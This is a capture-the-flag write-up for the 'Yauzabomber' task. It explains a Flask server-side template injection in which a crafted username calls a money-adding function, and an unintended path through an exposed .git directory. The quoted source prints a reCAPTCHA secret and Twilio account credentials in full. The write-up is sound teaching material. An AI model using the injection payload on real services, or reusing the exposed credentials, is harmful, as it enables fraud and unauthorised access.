Yauzabomber

Server-Side Template Injection (SSTI) in SMS template

Description

http://tasks.yauzactf.com:30003/

Your task is to learn a new service for fast sending messages at

Solution

Unintended

The .git directory and source code were exposed on the webserver. In app.py, the flag is exposed.

@app.route("/shop/", methods=['POST'])
@require_authorization
def shop_form(current_user):
    item_id = int(request.form.get('id'))
    user_obj, item_obj = db.ShopItem().buy_item(item_id, current_user.id)
    shop_items = db.ShopItem().list_items()

    if user_obj is None:
        return render_template("shop.html", shop_items=shop_items, error=1)

    if item_obj.phone == '+7777-(777)-777777':
        db.User().delete_login(current_user.login)
        return render_template("shop.html", shop_items=shop_items, flag='YauzaCTF{$M$_B000mb3r_$$t1_vu1n}')

    return render_template("shop.html", shop_items=shop_items, success=1)

Intended

There is a vulnerability in the "new chat" feature.

@app.route("/new_chat/", methods=['POST'])
@require_authorization
def new_chat(current_user):
    phone = str(request.form.get('phone'))
    message = str(request.form.get('message'))
    recaptchaResponse = str(request.form.get('g-recaptcha-response'))

    r = requests.post('https://www.google.com/recaptcha/api/siteverify',
                      data={
                          'secret': '6LcFLRccAAAAAJGO9V52-YxMiXkrKLmT4GBp9Ysf',
                          'response': recaptchaResponse,
                          'remoteip': '127.0.0.1',
                      })
    a = request.form
    j = r.json()

    if 'success' in j and j['success']:
        if not phone.startswith('+1337') and not phone.startswith('1337'):
            # sms message
            result = sms.send_sms(number='+' + re.sub("[^0-9]", "", phone), message=message, login=current_user.login, vulnfunc=db.User().add_money_to_login)
            if result:
                db.Message().send_sms(current_user, phone, message)
        else:
            # chat private message
            db.Message().send_private(current_user, phone, message)

    return redirect('/private/')

When sending an SMS to a number that does not begin with +1337 or 1337, the send_sms function in sms.py is called, with the keyword argument vulnfunc=db.User().add_money_to_login.

In the send_sms function, Flask's render_template_string function is used to generate the SMS message.

def send_sms(number, message, login, vulnfunc):
    try:
        message = render_template_string('Hello from ' + login + ':\n{{ message }}', message=message, add_money_to_login=vulnfunc)
    except Exception as e:
        message = str(e)
    print(message)
    message = message[:160]
    r = requests.post(
        'https://api.twilio.com/2010-04-01/Accounts/AC8af1c9ea60578bbf05fcc8073785601d/Messages.json',
        data={
            'To': number,
            'MessagingServiceSid': 'MG2361073db2b525645c80023fbf791ff8',
            'Body': message
        },
        auth=HTTPBasicAuth('AC8af1c9ea60578bbf05fcc8073785601d', '43b98a2b0de062483f43e938112d9aa0')
    )
    print(number)
    j = r.json()
    print(j)
    return j['status'] == 'accepted' and not j['error_code']

The resulting template is user-controllable, since login is our username.

'Hello from ' + login + ':\n{{ message }}'

We can then exploit Server-Side Template Injection (SSTI). Since the add_money_to_login function is added to the template context, we can manipulate the login variable to invoke this function. We essentially need two accounts, with one of the usernames being:

{{ add_money_to_login(USERNAME, AMOUNT_OF_MONEY) }}

Then, when sending an SMS message, the following is called:

render_template_string(
    'Hello from {{ add_money_to_login(USERNAME, AMOUNT_OF_MONEY) }}:\n{{ message }}', 
    message=message, 
    add_money_to_login=vulnfunc
)

When rendering the template, the add_money_to_login function is called, adding money to our other account.

Now that we have sufficient money, we can buy the flag!

Last updated